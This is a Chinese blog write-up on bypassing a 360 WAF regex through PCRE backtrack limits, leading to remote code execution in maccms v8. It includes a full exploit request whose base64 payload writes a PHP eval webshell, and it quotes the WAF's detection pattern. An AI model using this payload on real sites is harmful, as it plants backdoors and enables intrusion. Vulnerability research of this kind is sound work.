maccms v8 80w 字符的 RCE 分析
2020-01-05 19:37:00 Author: www.cnpanda.net(查看原文) 阅读量:154 收藏

0x01 写在前面

偶然间看到了这个漏洞，利用 80w 长度的垃圾字符填充，使正则回溯次数超过一定限度，导致绕过了360 模块的防御，本文主要介绍了正则回溯以及maccms v8 80w 字符RCE的详细分析。

0x02 正则回溯

1、正则引擎

“正则回溯”中的“正则”我们都很熟悉，但是什么是回溯呢？

说回溯前，要先谈一谈正则表达式的引擎，正则引擎主要可以分为基本不同的两大类：一种是DFA（确定型有穷自动机），另一种是NFA（不确定型有穷自动机），NFA 对应的是正则表达式主导的匹配，而 DFA 对应的是文本主导的匹配。

目前使用DFA引擎的程序主要有：awk,egrep,flex,lex,MySQL,Procmail等；
使用传统型NFA引擎的程序主要有：GNU Emacs,Java,ergp,less,more,.NET,,PCRE library,Perl,PHP,Python,Ruby,sed,vi；

DFA在线性时状态下执行，不要求回溯，并且其从匹配文本入手，从左到右，每个字符不会匹配两次，所以通常情况下，它的速度更快，但支持的特性很少，不支持捕获组、各种引用。

NFA则是从正则表达式入手，并且不断读入字符，尝试是否匹配当前正则，不匹配则吐出字符重新尝试，在最坏情况下，它的执行速度可能非常慢，但NFA支持更多的特性，因而绝大多数编程场景下，比如 PHP、Java，python 等，使用的都是NFA。

对于 DFA 举例如下：

引擎在扫码当前文本的时候，会记录当前有效的所有匹配可能。当引擎移动到文本的 t 时，它会在当前处理的匹配可能中添加一个潜在的可能：

1.png

接下来扫描的每个字符，都会更新当前的可能匹配序列。例如扫码到匹配文本的 J 时，有效的可能匹配变成了2个，Rose被淘汰出局。

2.png

扫描到匹配文本的 e 时，Jack也被淘汰出局，此时就只剩一个可能的匹配了。当完成后续的rry的匹配时，整个匹配完成。

3.png

对于 NFA 举例如下：

在解析器眼中DEF有四个数字位置，如下图：

4.png

对于正则表达式而言所有源字符串，都有字符和位置，且正则表达式会从0号位置逐个去匹配。

我们令匹配成功为“取得控制权”；

当正则为DEF时，过程如下：

首先由正则表达式字符 D 取得控制权，从位置0开始匹配，由D 来匹配D，匹配成功，控制权交给字符 E ；由于D已被 D 匹配，所以 E 从位置1开始尝试匹配，由E 来匹配E，匹配成功，控制权交给 F；由F来匹配F，匹配成功。

当正则为/D\w+F/时，过程如下：

首先由正则表达式字符/D/ 取得控制权，从位置0开始匹配，由 /D/ 来匹配D，匹配成功，控制权交给字符/\w+/ ；由于D已被/D/匹配，所以 /\w+/ 从位置1开始尝试匹配，\w+贪婪模式，会记录一个备选状态，默认会匹配最长字符，直接匹配到EF，并且匹配成功，当前位置为3。并且把控制权交给 /F/ ；由 /F/ 匹配失败，\w+匹配会回溯一位，当前位置变成2。并把控制权交给/F/，由/F/匹配字符F成功。

由上面可以知道，对于 DFA 而言，不管正则表达式怎么样，文本的匹配过程是一致的，都是对文本的字符依次从左到右进行匹配，NFA 对于不同但效果相同的正则表达式，匹配过程是完全不同的。

2、回溯

回到正题，现在来谈回溯。

假设字符串及其位置如下：

5.png

与上文相同，令匹配成功为“取得控制权”，如果正则表达式为：/.*?b/

那么匹配过程如下：.*?首先取得控制权, 假设该匹配为非贪婪模式, 所以优先不匹配, 将控制权交给下一个匹配字符b， b在源字符串位置1匹配失败a, 于是回溯, 将控制权交回给.*?，这个时候, .*?匹配一个字符a，并再次将控制权交给b，这样一个过程，被称之为回溯， 如此反复，最终得到匹配结果， 这个过程中一共发生了3次回溯。

3、正则回溯

在PHP的pcre扩展中，配置选项如下表所示：

名字默认可修改范围更新日志
pcre.backtrack_limit"100000"PHP_INI_ALLphp 5.2.0 起可用。
pcre.recursion_limit"100000"PHP_INI_ALLphp 5.2.0 起可用。
pcre.jit"1"PHP_INI_ALLPHP 7.0.0 起可用
  • pcre.backtrack_limit：PCRE的最大回溯数限制
  • pcre.recursion_limit：PCRE的最大递归数限制

如上表所示，默认的backtarck_limit是100000。

我们定义一个正则：/UNION.+?SELECT/is

同时要检测的文本如下：UNION/*panda*/SELECT

流程大致如下，

  • 首先匹配到UNION
  • .+?匹配到/
  • 非贪婪模式，.+?停止向后匹配，由S匹配*
  • S匹配*失败，第一次回溯，再由.+?匹配*
  • 非贪婪模式，.+?停止向后匹配，再由S匹配p
  • S匹配p失败，第二次回溯，再由.+?匹配p
  • 非贪婪模式，.+?停止向后匹配，再由S匹配a
  • S匹配a失败，第三次回溯，再由.+?匹配a
  • 非贪婪模式，.+?停止向后匹配，再由S匹配n
  • S匹配n失败，第四次回溯，再由.+?匹配n
  • 非贪婪模式，.+?停止向后匹配，再由S匹配d
  • S匹配d失败，第五次回溯，再由.+?匹配a
  • 非贪婪模式，.+?停止向后匹配，再由S匹配S
  • S匹配S匹配成功，继续向后，直至SELECT匹配SELECT成功

从上面可以看出，回溯的次数是我们可以控制的，当我们在/**/之间写入的内容越多，那么回溯的次数也就越多，假定我们传入的字符串很多，导致回溯次数超过了pcre.backtrack_limit的限制，那么就可能绕过这个正则表达式，从而导致绕过 waf 之类的限制。

这个问题其实在2007年的时候就有人向官网提出过：

6.png

但官网采取的整改如下：

7.png

其实python 中也存在着“limit”，但是官网解释如下：

8.png

可能没有足够的内存来构造那么大的字符串 —— so ~

0x03 maccms v8 80w 字符RCE

根据漏洞的 payload ：

POST /index.php?m=vod-search HTTP/1.1
Host: xxx.xxx.xxx.xx
Content-Length: 500137
Cache-Control: max-age=0
Origin: xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: xxx.xxx.xxx.xx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_ff7f6fcad4e6116760e7b632f9614dc2=1574418087,1574670614,1574673402,1575271439; Hm_lvt_137ae1af30761db81edff2e16f0bf0f8=1574418087,1574670615,1574673402,1575275889; pgv_pvi=8322096128; PHPSESSID=pr37r8fkshd854f8fnfep4ov53; adminid=1; adminname=admin; adminlevels=b%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj; admincheck=2afdbd385cb6c2af162e6733f1b0e2d2
Connection: close

wd=union(80w个a){if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

进入 index.php查看相关参数：

$acs = array('vod','art','map','user','gbook','comment','label');

if(in_array($ac,$acs)){
        $tpl->P['module'] = $ac;
        include MAC_ROOT.'/inc/module/'.$ac.'.php';
    }
    else{
        showErr('System','未找到指定系统模块');
    }
    unset($par);
    unset($acs);
    $tpl->ifex();

确定漏洞文件在/inc/module/vod.php中的 search 模块，其核心内容如下：

elseif($method=='search')
{
    $tpl->C["siteaid"] = 15;
    $wd = trim(be("all", "wd")); 
    $wd = chkSql($wd);
    if(!empty($wd)){ 
    $tpl->P["wd"] = $wd; 
  }
  
  .....
    
  $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
    $tpl->mark();
    $tpl->pageshow();

be 函数主要内容如下：

function be($mode,$key,$sp=',')
{
    ini_set("magic_quotes_runtime", 0);
    $magicq= get_magic_quotes_gpc();
    switch($mode)
    {
        case 'post':
            $res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
            break;
        case 'get':
            $res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
            break;
        case 'arr':
            $arr =isset($_POST[$key]) ? $_POST[$key] : '';
            if($arr==""){
                $value="0";
            }
            else{
                for($i=0;$i<count($arr);$i++){
                    $res=implode($sp,$arr);
                } 
            }
            break;
        default:
            $res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
            break;
    }
    return $res;
}

主要是对GET，POST，REQUEST接收到的参数进行addslashes的转义处理，回到vod.php页面，在经过 Be函数处理后，再进行字符串两侧空白字符移除处理，最终传入 chkSql()进行 360 waf 的SQL 检测模块，其函数主要内容如下：

function chkSql($s)
{
    global $getfilter,$postfilter;
    if(empty($s)){
        return "";
    }
    $s = htmlspecialchars(urldecode(trim($s))); 
    StopAttack(1,$s,$getfilter);
  StopAttack(1,$s,$postfilter);
    return $s;
}

将urldecode 解码后的一些预定义的字符转换为HTML实体，再传入StopAttack()函数，该函数主要内容如下：

  function chkShow()
{
    $errmsg = "<div style=\"position:fixed;top:0px;width:100%;height:100%;background-color:white;color:green;font-weight:bold;border-bottom:5px solid #999;\"><br>您的提交带有不合法参数,谢谢合作!<br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."</div>";
    print $errmsg;
    exit();
}
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{

 $StrFiltValue=arr_foreach($StrFiltValue);
 $StrFiltValue=urldecode($StrFiltValue);
 
 if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
        chkShow();
 }
 if(preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
        chkShow();
 }
}

对传入进的字符，进行正则匹配，正则如下：

<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover|eval)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|SELECT|UPDATE|_get|_post|_request|_cookie|_server|eval|assert|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc_|preg_|call_|ini_|php|\\{|\\}|\\(|\\\|\\)

主要问题在这一句：

UNION([\s\S]*?)SELECT

([\s\S]*?)——匹配所有字符，且只匹配一次

但是这句话中开起来非贪婪模式，导致这段正则不断回溯，如我定义一个文本为：UNION(panda)SELECT

其匹配过程大致如下：

  • 首先匹配到UNION
  • 进入子表达式检测，[\s\S]*?，匹配所有字符
  • 懒惰模式，*?停止向后匹配，所以直接由S匹配（
  • S匹配（失败，第一次回溯，再由*?匹配p
  • 懒惰模式，*?停止向后匹配，再由S匹配a
  • S匹配a，第二次回溯，再由*?匹配a
  • 懒惰模式，*?停止向后匹配，再由S匹配n
  • ... （以此类推）
  • 最终由S匹配到S后，结束回溯

该过程动画如下：

请输入图片描述

所以在这里，我们就可以利用最大匹配的次数，来绕过preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1的判断，因为超过最大匹配次数后，其返回的结果并不为 1，而是false。

这样一来，我们就绕过了360 waf 防御模块的 chkSql()函数检测，也就是说目前这个wd 参数我们是可控的。

回到index.php页面，发现加载完模块后，进入了$tpl->ifex();函数，跟进发现其核心代码如下：

function ifex()
    {
        if (!strpos(",".$this->H,"{if-")) { return; }
        $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
        preg_match_all($labelRule,$this->H,$iar);
        
  ...
    
    try{
            if (strpos(",".$strThen,$labelRule2)>0){
        ...
     $ee = @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
        if(!$elseifFlag){
           ...
           @eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
                     ...
        if(!$elseifFlag){
           ...
           @eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
           ...
      else{
                $ifFlag = false;
                if (strpos(",".$strThen,$labelRule3)>0){
          ...
            @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
          ...
        else{
                    @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
          if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }

          ...
        }
         ...

该函数首先对$this->H进行了判断，是否含有{if-，而$this->H在vod.php已经定义如下：

$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");

该模板的应用内容在inc/common/template.php 中控制，跟踪发现即是 wd 参数控制。

回到template.php的ifex()函数，发现

preg_match_all($labelRule,$this->H,$iar);

该正则的主要作用是匹配出提取出来的wd参数，然后后面就是一系列的循环和判断，最终执行了 eval。

由于限制最少，所以我们选择最后一个 eval 去执行，要执行前，需要满足的条件如下：

  • $this-H中必须有{if- ----> wd参数中带有{if-即可
  • 满足正则：{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}
  • 不满足if 判断：strpos(",".$strThen,$labelRule2)>0
  • 不满足If判断：strpos(",".$strThen,$labelRule3)>0

这样一来就可以进入我们想要的eval 执行语句：

eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");

综上，payload 如下即可满足：

{if-A:phpinfo()}{endif-A}

0x04 漏洞复现

如上所述，完整的利用链已经形成了。

首先通过正则回溯来绕过360 waf，然后通过可控参数 wd 传入我们的 payload，payload 传入$this-H，然后绕过判断传入 eval 中执行。

如下图，如果我们不采用正则回溯的方法，那么会被拦截：

10.png

采用正则回溯，则会绕过360waf：

11.png

由于环境的问题，我这里测试 80W 字符不够，800W 也不够，于是设置了 1000W，成功绕过。

由于环境的问题，我这里测试 80W 字符不够，800W 也不够，于是设置了 1000W，成功绕过。

测试的时候，在 PHP 7.0 的版本下可能会出现以下问题，导致不能利用此漏洞：

12.png

或者

13.png

另外这个漏洞只能是非默认模板才可以，如下：

fu.png

默认模板执行到这里直接退出了，不会再往下执行到eval

0x05 参考

https://www.php.net/pcre/

https://www.php.net/manual/zh/pcre.configuration.php

http://www.laruence.com/2010/06/08/1579.html

https://www.jqhtml.com/45531.html

https://blog.csdn.net/iteye_18591/article/details/82204352

https://www.cnblogs.com/test404/p/7397755.html

https://www.cnblogs.com/Chary/p/No0000100.html

https://www.t00ls.net/viewthread.php?tid=54216

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

使用微信扫描二维码完成支付


文章来源: https://www.cnpanda.net/codeaudit/660.html
如有侵权请联系:admin#unsafe.sh